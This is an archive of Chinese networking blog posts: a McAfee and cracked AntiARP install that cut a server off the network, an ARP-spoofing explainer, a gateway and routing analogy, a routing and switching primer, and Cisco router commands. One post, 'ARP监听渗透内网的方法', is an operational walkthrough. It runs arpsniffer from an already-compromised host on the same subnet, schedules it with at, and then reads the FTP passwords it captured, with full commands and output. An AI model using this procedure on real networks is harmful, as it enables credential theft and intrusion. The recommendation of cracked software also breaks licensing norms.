antiarp4.11破解版环境mcafee8.5i升级patch4导致断网

0

分类 : 网络日志 | 发表时间 25-10-2007

朋友的服务器win2003server,前天的时候,由于mcafee8.5i最新升级了patch4,因此想让我帮让升下级,并且把有关的信息和远程机房协助的信息一并发给了我。

抽了一个下午的时候,想想,这个版本解决了很多问题,并且稳定性也进一步增强,应该不会产生什么问题,因此,信心十足的走了了升级之旅游。

本来他安装的是mcafee8.5ipatch3的环境,并且,他还提到前几日曾经受到过arp攻击的骚扰,网站会产生挂马现象;鉴于此情况,决定先安装antiarp,然后再安装mcafee,再升级;

远程连接桌面后,首先卸载掉mcafee8.5ipatch3,一切顺利;这时没有重启,然后就直接再次安装mcafee8.5i,安装之后,马上安装patch4,之前说过mcafee合成版本的不足,因此,用的版本都是从官方网站下载的版本,具体下载信息点此,安装完毕之后,没有直接启用文件防护(ad)功能,只是开了实时监控,一切表现顺利。随机开了一下文件防护,托盘区就不断出现红色警告,这是由于很多运行的进程和服务没有在mcafee规则中定义,因此会引起冲突。定义后就会辨明是非的。

然后就直接安装antiarp;antiarp用的是网上流行的4.11的永久破解版本,听朋友说,这个版本用着还很稳定,反arp攻击效果很好;看了下,发现以前他曾经在这个服务器上安装过,并且在协议里面还存在有antiarp的协议,只是没有勾选使用;想了想,antiarp官方论坛有专门的卸载补丁,但安装包也一并有相应的卸载功能;直接安装,果然出现了卸载选项,直接卸载;卸载后再次安装,这里有一点大意了,应该重启的。windows的系统就是麻烦,虽然说一再的要减少重启次数,但还是有致使的弱点;安装的时候,服务器直接断网了。

这个版本,我在本地测试过几台win2003server的系统,安装时,会有短暂的断网现象,然后就马上恢复,这正常,是网卡驱动加载antiarp的协议。但这下断网,确实有些意料未及;无奈,近水解不了远火,联系远程机房。让机房把antiarp安装上去。

等了半个小时,等来的结果,很失望,说,你的系统有问题,必须重装。我晕,这毛病就要重装,机房的技术支持太垃圾了吧?事后知道,一年重装三次以后,再重装系统一次收服务费300;不管怎么样,本人脾气还可以,不会发火,只是给他说了解决方法:首先卸载掉macfee,然后再试试是否能安装?不能安装上去,那就卸载掉,重启后安装;实在不行,就卸载掉网卡驱动,再重装一次;再不行,antiarp官方网站有专门的卸载补丁,运行一下就ok;最后了,再没招,不就是个卸载ip协议的问题吗?这点,机房技术不会玩吗?太让人吃惊了吧?只会安装操作系统的技术,只会ping下网络是否通的技术,这样的机房,太菜了,丢中国互联网的人嘛?

把以上建议发给他们以后,说会继续努力,捣腾一个小时以后,说好了;我远程登陆上去一看,antiarp果然安装好了。mcafee也并没有卸载。en,不错,还算是努力了,但以前的不进一步努力态度,的确很是让人不舒服,服务嘛,就要尽力,稍稍努力就放弃,不是工作能力问题,是态度问题。

mcafee虽然没有卸载,但是却发现,所有监控全部关闭着;由于,文件防护功能比较厉害,没敢直接开,但病毒实时监控的,却是想开着,因此,点击启用,就在启用的时候,又断网了。晕,这种远程操作的断网,确实给你以崩溃的感觉。

没办法,再联系远程机房。告诉他们,算了,不安装mcafee了,把网络调通再说吧。半个小时后,mcafee卸载掉了,网络调通了,远程登陆上去,看了看日志,也没什么怪异的地方。算了,暂时告一段落。windows下的系统问题,总给人以莫名其妙的感觉。我人也不在机器旁,看结果,没办法了解过程;问远方处理的机房技术人员,更是问不出个屁来,不费那扯淡的功夫了。

回头想了想,不排除系统有一定的问题,因为之前安装antiarp也有此类情况,但还是antiarp的问题责任大些。这个软件,是出了名的不稳定、蓝屏;mcafee的问题,虽然网络也风传有和系统不兼容的不稳定因素,但至少,我在本地测试时,还是非常优秀的。这两者,不排除有绝对的冲突现象,具体,还要花时间来用干净的系统测试。

稍后再在虚拟机上测吧!服务器系统嘛,安全防护第一,稳定更是第一。最后,再在服务器上安装什么实时监控,这就在以后的故事中叙述了!再完美的事先准备,也会有突发事故,丰富的软件应用经验以及问题解决方案,这是要有保证的。并且,远程时,远方的技术支持和态度支持,都是很关键的,希望,这话,能让广大的机房网管人员,能够有所理解,有所努力。

ARP监听渗透内网的方法

0

分类 : 系统安全 | 发表时间 08-02-2007

假设想攻击的主机IP是:61.139.1.79 ,同一子网下我们已有权限的主机IP是:61.139.1.88并可以3389登陆
第一步:
tracert 61.139.1.1
C:\WIN2000\system32>tracert 61.139.1.1

tracing route to HACK-4FJ7EARC [61.139.1.1]
over a maximum of 30 hops:

1 <10 ms <10 ms <10 ms HACK-4FJ7EARC [61.139.1.1]

Trace complete.

这就说明了你想攻击的主机和你所在的主机在一个关网中那么就有可能
进行ARPSNIFFER了

第二步:看本机IP设置和网卡情况
C:\WIN2000\system32>ipconfig /all

Windows 2000 IP Configuration

Host Name . . . . . . . . . . . . : smscomputer
Primary DNS Suffix . . . . . . . :
Node Type . . . . . . . . . . . . : Broadcast
IP Routing Enabled. . . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No

Ethernet adapter Intel Fast Ethernet LAN Controller – onboard:

Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : Intel(R) 8255x Based Network Connection
Physical Address. . . . . . . . . : 00-B0-D0-22-10-C6
DHCP Enabled. . . . . . . . . . . : No
IP Address. . . . . . . . . . . . : 61.139.1.2
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 61.139.1.65
DNS Servers . . . . . . . . . . . : 61.139.1.73

说明只有一块网卡那么在执行ARPSNIFFER的时候就可以不要第五个参数了这个地
方小榕的主页可没有说哟,经过测试我发觉如果只有一块网卡你第五个参数使用0
的话也只能嗅探到通过自已的数据哟.
从上面我们还可以知道网关是61.139.1.65

第三步:查看本机时间
C:\WIN2000\system32>net time \\127.0.0.1

\\127.0.0.1 的当前时间是 2003/1/28 下午 09:13

命令完成成功

要注意的是这儿的时间是12小时式,用at命令应要24小时式

第四步:编写启动ARPsniffer的bat文件
C:\WIN2000\system32>echo arpsniffer 61.139.1.65 61.139.1.79 21 1.txt /reset>c:\winnt\a.bat

注意咯我们没有要第五个参数,如果有多个网卡的话你就要先直接执行arpsniffer显示如下:
ARPSniffer 0.5 (Router Inside), by netXeyes, Special Thanks BB
www.netXeyes.com 2002, security@vip.sina.com

Network Adapter 0: D-Link DE-528 Ethernet PCI Adapter
Network Adapter 1: Intel(R) PRO/100+ PCI Adapter(这个地方选第五个参数)

Usage: ArpSniffer [/RESET]

第五步:后台运行开始嗅探咯
C:\winnt\system32>at \\127.0.0.1 20:44 c:\winnt\a.bat

注意:这儿的时间要用24小时式
arpsniffer最好拷到system32目录下,记录文件也会生成在这儿
执行完第四步要先安装WINPCAP 2.1驱动
同时arpsniffer要使用最新的0.5版,老版本有不少BUG而且要改注册表重启机子

第六步:看密码但是生成的记录文件不能直接看也不能拷贝所以我们只能先结束掉
以SYSTEM权限启动的ARPSniffer程序
C:\winnt\system32>pulist
……………….
conime.exe 248 NT AUTHORITY\SYSTEM
explorer.exe 1864 SMSCOMPUTER\Administrator
CSRSS.EXE 2256 NT AUTHORITY\SYSTEM
Arpsniffer.exe 2322 NT AUTHORITY\SYSTEM —-就是它了!
WINLOGON.EXE 2344 NT AUTHORITY\SYSTEM
………………….

杀了它
C:\winnt\system32>pskill 2322
PsKill v1.03 – local and remote process killer
Copyright (C) 2000 Mark Russinovich
http://www.sysinternals.com

Process 2322 killed.

C:\winnt\system32>type 1.txt 我的例子中嗅探的是FTP密码:)

……………
61.188.218.179(1404)->61.139.1.79(21)PASS aaabbb
61.139.1.79(21)->61.188.218.179(1404)530 User czy82 cannot log in.
61.139.1.79(21)->61.188.218.179(1404)530 User czy82 cannot log in.
61.188.218.179(1404)->61.139.1.79(21)QUIT
61.188.218.179(1404)->61.139.1.79(21)QUIT
61.139.1.79(21)->61.188.218.179(1404)221
61.139.1.79(21)->61.188.218.179(1404)221
…………
…………

特别要注意的就是PASS哈:)

—————————————————-
付录:
前台正常执行的显示

C:\>arpsniffer 61.139.1.65 61.139.1.79 21 1.txt /reset

ARPSniffer 0.5 (Router Inside), by netXeyes, Special Thanks BB
www.netXeyes.com 2002, security@vip.sina.com

Network Adapter 0: Intel(R) 8255x Based Network Connection

Enable IP Router….OK

Get 61.139.1.65 Hardware Address: 00-00-0c-07-ac-02
Get 61.139.1.79 Hardware Address: 00-b0-d0-22-10-cb
Get 61.139.1.88 Hardware Address: 00-b0-d0-22-10-c6

Spoof 61.139.1.79: Mac of 61.139.1.65 ===> Mac of 61.139.1.88
Spoof 61.139.1.65: Mac of 61.139.1.79 ===> Mac of 61.139.1.88
有时这儿要先显示can not open driver(0)不管它等一下就可以了

来源:C.N.H

有关于ARP病毒入侵原理和解决方案

1

分类 : 系统安全 | 发表时间 19-10-2006


【故障原因】 

局域网内有人使用ARP欺骗的木马程序(比如:传奇盗号的软件,某些传奇外挂中也被恶意加载了此程序。 

【故障原理】 

要了解故障原理,我们先来了解一下ARP协议。 

在局域网中,通过ARP协议来完成IP地址转换为第二层物理地址(即MAC地址)的。ARP协议对网络安全具有重要的意义。通过伪造IP地址和MAC地址实现ARP欺骗,能够在网络中产生大量的ARP通信量使网络阻塞。 

ARP协议是“Address Resolution Protocol”(地址解析协议)的缩写。在局域网中,网络中实际传输的是“帧”,帧里面是有目标主机的MAC地址的。在以太网中,一个主机要和另一个主机进行直接通信,必须要知道目标主机的MAC地址。但这个目标MAC地址是如何获得的呢?它就是通过地址解析协议获得的。所谓“地址解析”就是主机在发送帧前将目标IP地址转换成目标MAC地址的过程。ARP协议的基本功能就是通过目标设备的IP地址,查询目标设备的MAC地址,以保证通信的顺利进行。 

每台安装有TCP/IP协议的电脑里都有一个ARP缓存表,表里的IP地址与MAC地址是一一对应的,如下表所示。   

主机 IP地址 MAC地址 

A 192.168.16.1 aa-aa-aa-aa-aa-aa 

B 192.168.16.2 bb-bb-bb-bb-bb-bb 

C 192.168.16.3 cc-cc-cc-cc-cc-cc 

D 192.168.16.4 dd-dd-dd-dd-dd-dd   

我们以主机A(192.168.16.1)向主机B(192.168.16.2)发送数据为例。当发送数据时,主机A会在自己的ARP缓存表中寻找是否有目标IP地址。如果找到了,也就知道了目标MAC地址,直接把目标MAC地址写入帧里面发送就可以了;如果在ARP缓存表中没有找到相对应的 IP地址,主机A就会在网络上发送一个广播,目标MAC地址是“FF.FF.FF.FF.FF.FF”,这表示向同一网段内的所有主机发出这样的询问: “192.168.16.2的MAC地址是什么?”网络上其他主机并不响应ARP询问,只有主机B接收到这个帧时,才向主机A做出这样的回应: “192.168.16.2的MAC地址是bb-bb-bb-bb-bb-bb”。这样,主机A就知道了主机B的MAC地址,它就可以向主机B发送信息了。同时它还更新了自己的ARP缓存表,下次再向主机B发送信息时,直接从ARP缓存表里查找就可以了。ARP缓存表采用了老化机制,在一段时间内如果表中的某一行没有使用,就会被删除,这样可以大大减少ARP缓存表的长度,加快查询速度。 

从上面可以看出,ARP协议的基础就是信任局域网内所有的人,那么就很容易实现在以太网上的ARP欺骗。对目标A进行欺骗,A去Ping主机C 却发送到了DD-DD-DD-DD-DD-DD这个地址上。如果进行欺骗的时候,把C的MAC地址骗为DD-DD-DD-DD-DD-DD,于是A发送到 C上的数据包都变成发送给D的了。这不正好是D能够接收到A发送的数据包了么,嗅探成功。 

A对这个变化一点都没有意识到,但是接下来的事情就让A产生了怀疑。因为A和C连接不上了。D对接收到A发送给C的数据包可没有转交给C。 

做“man in the middle”,进行ARP重定向。打开D的IP转发功能,A发送过来的数据包,转发给C,好比一个路由器一样。不过,假如D发送ICMP重定向的话就中断了整个计划。 

D直接进行整个包的修改转发,捕获到A发送给C的数据包,全部进行修改后再转发给C,而C接收到的数据包完全认为是从A发送来的。不过,C发送的数据包又直接传递给A,倘若再次进行对C的ARP欺骗。现在D就完全成为A与C的中间桥梁了,对于A和C之间的通讯就可以了如指掌了。 

【故障现象】 

当局域网内某台主机运行ARP欺骗的木马程序时,会欺骗局域网内所有主机和路由器,让所有上网的流量必须经过病毒主机。其他用户原来直接通过路由器上网现在转由通过病毒主机上网,切换的时候用户会断一次线。 

切换到病毒主机上网后,如果用户已经登陆了传奇服务器,那么病毒主机就会经常伪造断线的假像,那么用户就得重新登录传奇服务器,这样病毒主机就可以盗号了。 

由于ARP欺骗的木马程序发作的时候会发出大量的数据包导致局域网通讯拥塞以及其自身处理能力的限制,用户会感觉上网速度越来越慢。当ARP欺骗的木马程序停止运行时,用户会恢复从路由器上网,切换过程中用户会再断一次线。 

【HiPER用户快速发现ARP

什么叫网关的精解

0

分类 : 技术文摘 | 发表时间 14-06-2006

假设你的名字叫小不点,你住在一个大院子里,你的邻居有很多小伙伴,在门口传达室还有个看大门的李大爷,李大爷就是你的网关。当你想跟院子里的某个小伙伴玩,只要你在院子里大喊一声他的名字,他听到了就会回应你,并且跑出来跟你玩。
但是你不被允许走出大门,你想与外界发生的一切联系,都必须由门口的李大爷(网关)用电话帮助你联系。假如你想找你的同学小明聊天,小明家住在很远的另外一个院子里,他家的院子里也有一个看门的王大爷(小明的网关)。但是你不知道小明家的电话号码,不过你的班主任老师有一份你们班全体同学的名单和电话号码对照表,你的老师就是你的DNS服务器。于是你在家里拨通了门口李大爷的电话,有了下面的对话:

小不点:李大爷,我想找班主任查一下小明的电话号码行吗?

李大爷:好,你等着。(接着李大爷给你的班主任挂了一个电话,问清楚
了小明的电话)问到了,他家的号码是211.99.99.99

小不点:太好了!李大爷,我想找小明,你再帮我联系一下小明吧。

李大爷:没问题。(接着李大爷向电话局发出了请求接通小明家电话的请
求,最后一关当然是被转接到了小明家那个院子的王大爷那里,然后王大
爷把电话给转到小明家)

就这样你和小明取得了联系。

至于DHCP服务器嘛,可以这样比喻:

你家院子里的居民越来越多了,传达室李大爷那里的电话交换机已经不能满足这么多居民的需求了,所以只好采用了一种新技术叫做DHCP,居民们开机的时候随机得到一个电话号码,每一次得到的号码都可能会不同。

你家门口的李大爷:就是你的网关
你的班主任:就是你的DNS服务器
传达室的电话交换机:就是你的DHCP服务器

同上,李大爷和王大爷之间的对话就叫做路由。

另:如果还有个小朋友叫做小暗,他住的院子看门的是孙大爷,因为小暗的院子刚盖好,孙大爷刚来不久,他没有李大爷和王大爷办公室的电话(李大爷和王大爷当然也没有他的电话),这时会有两种情况:
1、居委会的赵大妈告诉了孙大爷关于李、王两位大爷的电话(同时赵大妈也告诉了李、王关于孙的电话),这就叫静态设定路由
2、赵大妈病了,孙大爷自己到处打电话,见人就说:“我是小暗他们院子管电话的”,结果被李、王二位听到了,就记在了他们的通讯录上,然后李、王就给孙大爷回了个电话说:“我是小明(小不点)他们院子管电话的”,这就叫动态设定路由

然后有一天小不点要找小暗,结果自然是小不点给李大爷打电话说:“大爷,我找小暗”(这里省略了李大爷去查小暗电话的过程,假设他知道小暗的电话),李大爷一找通讯录:“哦,小暗的院子的电话是孙大爷管着的,要找小暗自然先要通知孙大爷,我可以通知王大爷让他去找孙大爷,也可以自己直接找孙,那当然是自己直接找孙方便了”,于是李大爷给孙大爷打了电话,然后孙大爷又把电话转到了小暗家。

这里李大爷的通讯录叫做路由表。
李大爷选择是自己直接找孙大爷还是让王大爷帮忙转接叫做路由选择。

李大爷之所以选择直接找孙大爷是有依据的,因为他直接找孙大爷就能一步到位,如果要王大爷转接就需要两步才能完成,这里的“步”叫做“跳数”,李大爷的选择遵循的是最少步骤(跳数)原则(如果他不遵守这个原则,小不点可能就会多等些时间才能找到小暗,最终结果可能导致李大爷因工作不力被炒鱿鱼,这叫做“延时太长,选路原则不合理,换了一个路由器”)

当然,事情总是变化的,小不点和小明吵架了,这些天小不点老是给小暗打电话,小明心里想:“操,他是不是在说我坏话啊?”于是小明决定偷听小不点和小暗的通话,但是他又不能出院子,怎么办呢?小明做了这样一个决定:

首先他告诉自己院里管电话的王大爷说:“你给李大爷打个电话说小暗搬到咱们院子了,以后凡是打给他的电话我来接”,王大爷没反映过来(毕竟年纪大了啊!)就给李大爷打了电话,说:“现在我来管理小暗的电话了,孙已经不管了”,结果李大爷就把他的通讯录改了,这叫做路由欺骗。

以后小不点再找小暗,李大爷就转给王大爷了(其实应该转给孙大爷的),王大爷收到了这个电话就转给了小明(因为他之前已经和小明说好了),小明收到这个电话就假装小暗和小不点通信。因为小明作贼心虚,害怕明天小不点和小暗见面后当面问他,于是通信断了之后,又自己以小不点的名义给小暗通了个电话复述了一遍刚才的话,有这就叫数据窃听

再后来,小不点还是不断的和小暗联系,而零落了小明,小明心里嘀咕啊:“我不能总是这样以小暗的身份和小不点通话啊,外一有一天露馅了怎么办!”于是他想了一个更阴险的招数:“干脆我也不偷听你们的电话了,你小不点不是不给我打电话吗!那我让你也给小暗打不了,哼哼!”,他怎么做的呢?我们来看:

他联系了一批狐朋狗友,和他们串通好,每天固定一个时间大家一起给小暗院子传达室打电话,内容什么都有,只要传达室的孙爷爷接电话,就会听到“打雷啦,下雨收衣服啊!”、“人是人他妈生的,妖是妖他妈生的”、“你妈贵姓”等等,听的脑袋都大了,不听又不行,电话不停的响啊!终于有一天,孙爷爷忍不住了,大喊一声:“我受不了拉!!!!”,于是上吊自杀了!

这就是最简单的DDOS攻击,孙爷爷心理承受能力弱的现象叫做“数据报处理模块有BUG”,孙爷爷的自杀叫做“路由器瘫痪”。如果是我,就会微笑着和他们拉家常,例如告诉他们“我早就听了天气预报,衣服10分钟前已经收好了”或者“那你妈是人还是妖”或者“和你奶奶一个姓”等等,我这种健全的心理叫做“健壮的数据报处理,能够抵御任何攻击”

孙爷爷瘫了之后,小不点终于不再给小暗打电话了,因为无论他怎么打对方都是忙音,这种现象叫做“拒绝服务”,所以小明的做法还有一个名字叫做“拒绝服务攻击”。

小明终于安静了几天,…

几天后,小明的院子来了一个美丽的女孩,名字叫做小丽,小明很喜欢她(小小年纪玩什么早恋!)可是小丽有个很帅的男朋友,小明干瞪眼没办法。当然这里还是要遵循上面的原则:小丽是不能出院子的。那个男的想泡小丽自然只能打电话,于是小明又蠢蠢欲动了:
还记得王爷爷是院子的电话总管吗?他之所以能管理电话是因为他有一个通讯录,因为同一个院子可能有2个孩子都叫小明,靠名字无法区分,所以通讯录上每一行只有两项:

门牌 电话
一号门 1234567 (这个是小明的)
二号门 7654321 (这个是小丽的)
……

王爷爷记性不好,但这总不会错了吧(同一个院子不会有2个“二号门”吧)?每次打电话人家都要说出要找的电话号码,然后通过通讯录去院子里面敲门,比如人家说我找“1234567”,于是王爷爷一比较,哦,是一号门的,他就去敲一号门“听电话”,如果是找“7654
321”,那他就找二号门“听电话”。

这里的电话号码就是传说中的“IP地址”
这里的门牌号就是传说中的网卡的’MAC‘地址(每一块网卡的MAC地址都是不一样的,这是网卡的制造商写死在网卡的芯片中的)

小明心里想“奶奶的,老子泡不到你也别想泡”,于是他打起了王爷爷通讯录的主意,经过细心的观察,周密的准备,他终于发现王爷爷有尿频的毛病(毕竟是老人啊…),终于在一个月黑风高的白天,王爷爷去上厕所了,小明偷偷的摸进传达室,小心翼翼的改了王爷爷的通讯录……

过了几天,小丽的男朋友又给小丽打来了电话,对方报的电话是“7654321”,王爷爷一看通讯录,靠:

门牌 电话
一号门 1234567 (这个是小明的)
一号门 7654321 (注意:这个原来是小丽的,但是被小明改了)
……

王爷爷不知道改了啊,于是就去找一号门的小明了,小明心里这个美啊,他以小丽父亲的口吻严厉的教训了那个男的和小丽之间不正当的男女关系,结果那个男的恭恭敬敬的挂了电话。当然小丽并不知道整个事情的发生…

这里小明的行为叫做“ARP欺骗”(因为在实际的网络上是通过发送ARP数据包来实现的,所以叫做“ARP欺骗”),王爷爷的通讯录叫做“ARP表”

这里要注意:王爷爷现在有两个通讯录了,一个是记录每个院子传达室电话的本本,叫做“路由表”,一个是现在说的记录院子里面详细信息的本本,叫做“ARP表”。

有句命言是“人们总是在追求完美的,尽管永远也做不到”(请记住这句话,因为这是一个大名人–也就是我,说的)

王爷爷的制度中有一条是这么写的“每个月要重新检查一下门牌号和电话的对应本(也就是ARP表)”,这个动作叫做“刷新ARP表”,每个月的时间限制叫做“刷新ARP表的周期”。这样小明为了让那个男的永远不能找到小丽,之后每个月都要偷偷改一次那个通讯录,不过这样也是不得不做的事啊!
补充一点,小明是很聪明的,如果通讯录(ARP表)被改成了这样:

门牌(MAC) 电话(IP)
一号门 1234567 (这个是小明的)
二号门 1234567 (注意:这个被小明改了,但是他一时头晕改错了)
……

就会是计算机就会弹出一个对话框提示“出现重复的IP地址”,最终会导致王爷爷不知所措,于是通知一号门和二号门,你们的电话重复了。这样小丽就知道有人在破坏她的好事,这个现象叫做“骗局被揭穿了”

小不点知道了小明偷听他和小暗的电话,于是就和小暗约定好了密码。小不点在家里把要说的加密了之后告诉小暗。土豆-〉星期三,地瓜-〉请客,笨蛋-〉小不点家。于是小不点告诉小暗:土豆笨蛋地瓜。小明听了???不懂。。。。郁闷了。。。这是加密。
除此之外,小丽也知道了小明改他家的电话号码了。于是王爷爷就登门一个一个把电话和门牌号记下来。并且藏起来不允许外人修改,只能自己有钥匙(密码)。这是ip地址和MAC地址绑定。当有人改了电话号码的时候,就得找王爷爷改。麻烦是麻烦了,但是安全了。不过小明偷偷的把王爷爷的钥匙偷配了一把(盗窃密码成功),于是他还可以修改。这样么,就这样了。

通俗易懂的—路由和交换

0

分类 : 技术文摘 | 发表时间 13-06-2006

路由和交换是网络世界中两个重要的概念。传统的交换发生在网络的第二层,即数据链路层,而路由则发生在第三层,网络层。在新的网络中,路由的智能和交换的性能被有机的结合起来,三层交换机和多层交换机在园区网络中大量使用。本文将介绍一些路由和交换的基本概念,分为网络层次结构、交换、路由和全交换园区网络四个部分。
网络层次结构
网络参考模型的定义给出了清晰的功能层次划分。最常被提及的是ISO OSI参考模型和TCP/IP协议簇。
国际标准化组织定义的OSI参考模型将计算机网络按功能划分为七个层次,这就是我们常说的七层模型或七层结构。网络功能分层的直接好处是这些层次可以各司其职,由不同厂家开发的不同层次的软硬件设备可以配合使用。一个层次的设备更新或软件重写也不会影响到其它层次。TCP/IP协议体系中的各个层次和ISO的参考模型有大致的对应关系。
OSI中间一层,即第四层执行传输功能,它负责提供从一台计算机到另外一台计算机之间的可靠数据传输。传输层(Transport Layer)是承上启下的一层,在它的下面有三层,都是与数据传输相关的功能;上面也有三层,提供与网络应用相关的功能。
OSI下三层中。物理层(Physical Layer)负责实际的传送数据信号,数据链路层(Data Link Layer)负责网络内部的帧传输,而网络层(Network Layer)负责网络间的计算机寻址和数据传输。
OSI上三层中。应用层(Application Layer)是最高的层次,它负责提供用户*作的界面,因特网中常用的电子邮件服务,文件传输服务等都是这一层提供的。表示层(Presentation Layer)负责数据的表示,比如发送数据之前的加密,接收数据时的解密,中英文的翻译等等都是这一层提供的功能。会话层(Session Layer)负责建立和终止网络的数据传输,计算机名字转换成地址的工作也在这层完成。
传统意义上的交换是第二层的概念。数据链路层的功能是在网络内部传输帧。所谓”网络内部”是指这一层的传输不涉及网间的设备和网间寻址。通俗的理解,一个以太网内的传输,一条广域网专线上的传输都由数据链路层负责。所谓”帧”是指所传输的数据的结构,通常帧有帧头和帧尾,头中有源目二层地址,而帧尾中通常包含校验信息,头尾之间的内容即是用户的数据。
数据链路层涵盖的功能很多,所以又将它划分为两个子层, MAC(Media Access Control,介质访问控制)层和LLC(Logical Link Control,逻辑链路控制)层。常见的局域网和城域网的二层标准是IEEE的802协议。而在广域网中,HDLC(High-level Data Link Control,高级链路控制)、PPP(Point-to-Point Protocol,点对点协议)和Frame Relay(帧中继)等协议都有广泛的使用。
路由是第三层的概念。网络层在Internet中是最重要的,它的功能是端到端的传输,这里端到端的含义是无论两台计算机相距多远,中间相隔多少个网络,这一层保障它们可以互相通信。例如我们常用的PING命令就是一个网络层的命令,PING通了,就是指网络层的功能正常了。通常,网络层不保障通讯的可靠性,也就是说,虽然正常情况下数据可以到达目的地,但即便出现异常,网络层也不作任何更正和恢复的工作。
网络层常用的协议有IP、IPX、APPLETALK等等,其中IP协议更是Internet的基石。在TCP/IP协议体系中,第三层的其他辅助协议还包括ARP(地址解析) 、RARP(反向地址解析)、 ICMP(网际报文控制)和IGMP(组管理协议)等等。由于网络互连设备都具有路径选择功能,所以我们经常将 RIP、OSPF等路选协议也放在这一层讨论。
交换
谈到交换的问题,从广义上讲,任何数据的转发都可以称作交换。当然,现在我们指的是狭义上的交换,仅包括数据链路层的转发。做网络的人理解交换大多是从交换机开始的,电路交换机在通信网中已经使用了几十年了,做帧交换的设备,尤其是以太网交换机的大规模使用则是近几年的事情。
理解以太网交换机的作用还要从网桥的原理讲起。传统以太网是共享型的,如果网段上有四台计算机A、B 、C和D,那么A与B通信的同时,C和D只能是被动的收听。假如将缆段分开(即微化),A、B在一段上,C、D在另一段上,那么A和B通信的同时,C和D也可以通信,这样原有10M的带宽从理论上讲就变成20M了。同时,为了确保这两个网段可以互相通信,需要用桥将它们连接起来,桥是有两块网卡的计算机。
在整个网络刚刚启动时,桥对网络的拓朴一无所知。这时,假设A发送数据给B,因为网络是广播式的,所以桥也收到了,但桥不知到B在自己的左边还是右边,它就进行缺省的转发,即在另外一块网卡上发送这个信息。虽然做了一次无用的转发,但通过这个过程,桥学习到数据的发送者A在自己的左边。当网络上的每一台计算机都发送过数据之后,桥就是智能的了,它了解每一台计算机在哪一个网段上。当A再发送数据给B时,桥就不进行数据转发了,与此同时,C可以发送数据给D。
从上面的例子可以看出,桥可以减少网络冲突发生的几率,这就是我们使用桥的主要目的,称作减小冲突域。但桥并不能阻止广播,广播信息的隔绝要靠三层的连接设备,路由器。
按照缆段微化的思想,缆段越多,可用带宽就越高。极限情况是每一台计算机处在一个独立的缆段上,如果网络上有十台计算机,就需要一个十端口的桥将它们连接起来。但实现这样一个桥不太现实,软件转发的速度也跟不上,于是有了交换机,交换机就是将上述多端口的桥硬件或固件化,以达到更低的成本和更高的性能。
交换机的一个重要的功能是避免交换循环,这就涉及到了STP(Spanning Tree Protocol,分支树协议)。分支树协议的功能是避免数据帧在交换机构成的网络中循环传送。如下图所示,如果网络中有冗余链路的话,STP协议现选出根交换机(Route Bridge),然后确定每一台非根交换机到根交换机之间的路径,最后,将此路径上的所有链路置成转发(Forward)状态,其余的交换机之间的连接就是冗余链路,置为阻塞(Block)状态。
交换机的另外一个重要功能是VLAN(Virtual LAN,虚拟局域网)。VLAN的好处主要有三个:
*端口的分隔。即便在同一个交换机上,处于不同VLAN的端口也是不能通信的。这样一个物理的交换机可以当作多个逻辑的交换机使用。
*网络的安全。不同VLAN不能直接通信,杜绝了广播信息的不安全性。
*灵活的管理。更改用户所属的网络不必换端口和联线,只该软件配置就可以了。
VLAN可以按端口或MAC地址来划分。
有时,我们需要在交换机所构成的网络上保持VLAN的配置的一致性。这就需要交换机之间按照VTP(VLAN Trunk Protocol,VLAN骨干协议)交流VLAN信息。VTP协议只在骨干端口(Trunk Port),即交换机之间的端口,上运行。
路由
路由器是网络间的连接设备,它重要工作之一是路径选择。这个功能是路由器智能的核心,它是由管理员的配置和一系列的路由算法实现的。
路由算法有动静之分,静态路由是一种特殊的路由,它是由管理员手工设定的。手工配置所有的路由虽然可以使网络正常运转,但是也会带来一些局限性

教你如何调试思科路由器[学习]

0

分类 : 技术文摘 | 发表时间 10-06-2006

一、基本设置方式
一般来说,可以用5种方式来设置Cisco思科路由器:

1.Console口接终端或运行终端仿真软件的微机;

2.AUX口接MODEM,通过电话线与远方的终端或运行终端仿真软件的微机相连;

3.通过Ethernet上的TFTP服务器;

4.通过Ethernet上的TELNET程序;

5.通过Ethernet上的SNMP网管工作站。

但Cisco思科路由器的第一次设置必须通过第一种方式进行,一般用超级终端通过com口进行控制。此时终端的硬件设置如下:
波特率 :9600
数据位 :8
停止位 :1
奇偶校验: 无

二、命令操作
Cisco思科路由器所用的操作系统是IOS.共有以下几种状态:
1、router>
在router>提示符下,Cisco思科路由器处于用户命令状态,这时用户可以看Cisco思科路由器的连接状态,访问其它网络和主机,但不能看到和更改Cisco思科路由器的设置内容。此时输入?并回车,可以查看到在此状态下可以用的命令。(IOS允许你在任何时候用这种方式查看在某种状态下可以用的命令)。在敲入enable并回车后,按照系统提示输入密码,(在新的Cisco思科路由器第一次进行调试的时候不需要输入密码,直接回车即可)进入#提示符,就可以对Cisco思科路由器进行各种操作了。
2、router#
Cisco思科路由器进入特权命令状态router#后,不但可以执行所有的用户命令,还可以看到和更改Cisco思科路由器的设置内容。此时就可以对Cisco思科路由器的名字、密码等进行设置。
3、router(config)#
在router#提示符下键入configure terminal,出现提示符router(config)#,此时Cisco思科路由器处于全局设置状态,这时可以设置Cisco思科路由器的全局参数。
4、router(config-if)#;
router(config-line)#;
router(config-router)#;…
Cisco思科路由器处于局部设置状态,这时可以设置Cisco思科路由器某个局部的参数。
5、Cisco思科路由器处于RXBOOT状态,在开机后60秒内按ctrl-break可进入此状态,这时Cisco思科路由器不能完成正常的功能,只能进行软件升级和手工引导。在此状态下,可以进行口令恢复。

三、常用命令
1.帮助
在IOS操作中,无论任何状态和位置,都可以键入“?”得到系统的帮助。系统会显示此时可以使用的命令。
2.改变命令状态
任务命令
进入特权命令状态enable
退出特权命令状态disable
进入设置对话状态Setup
进入全局设置状态config terminal
退出全局设置状态End
进入端口设置状态interface type slot/number
进入子端口设置状态interface type number.subinterface [point-to-point | multipoint]
进入线路设置状态line type slot/number
进入路由设置状态router protocol
退出局部设置状态Exit
3.显示命令
任务命令
查看版本及引导信息show version
查看运行设置show running-config
查看开机设置show startup-config
显示端口信息show interface type slot/number
显示路由信息show ip router
4.拷贝命令
用于IOS及CONFIG的备份和升级
5.网络命令
任务命令
登录远程主机telnet hostname|IP address
网络侦测ping hostname|IP address
路由跟踪Trace hostname|IP address
6.基本设置命令
任务命令
全局设置config terminal
设置访问用户及密码username username password password
设置特权密码enable secret password
设置Cisco思科路由器名hostname name
设置静态路由ip route destination subnet-mask next-hop
启动IP路由ip routing
启动IPX路由Ipx routing
端口设置interface type slot/number
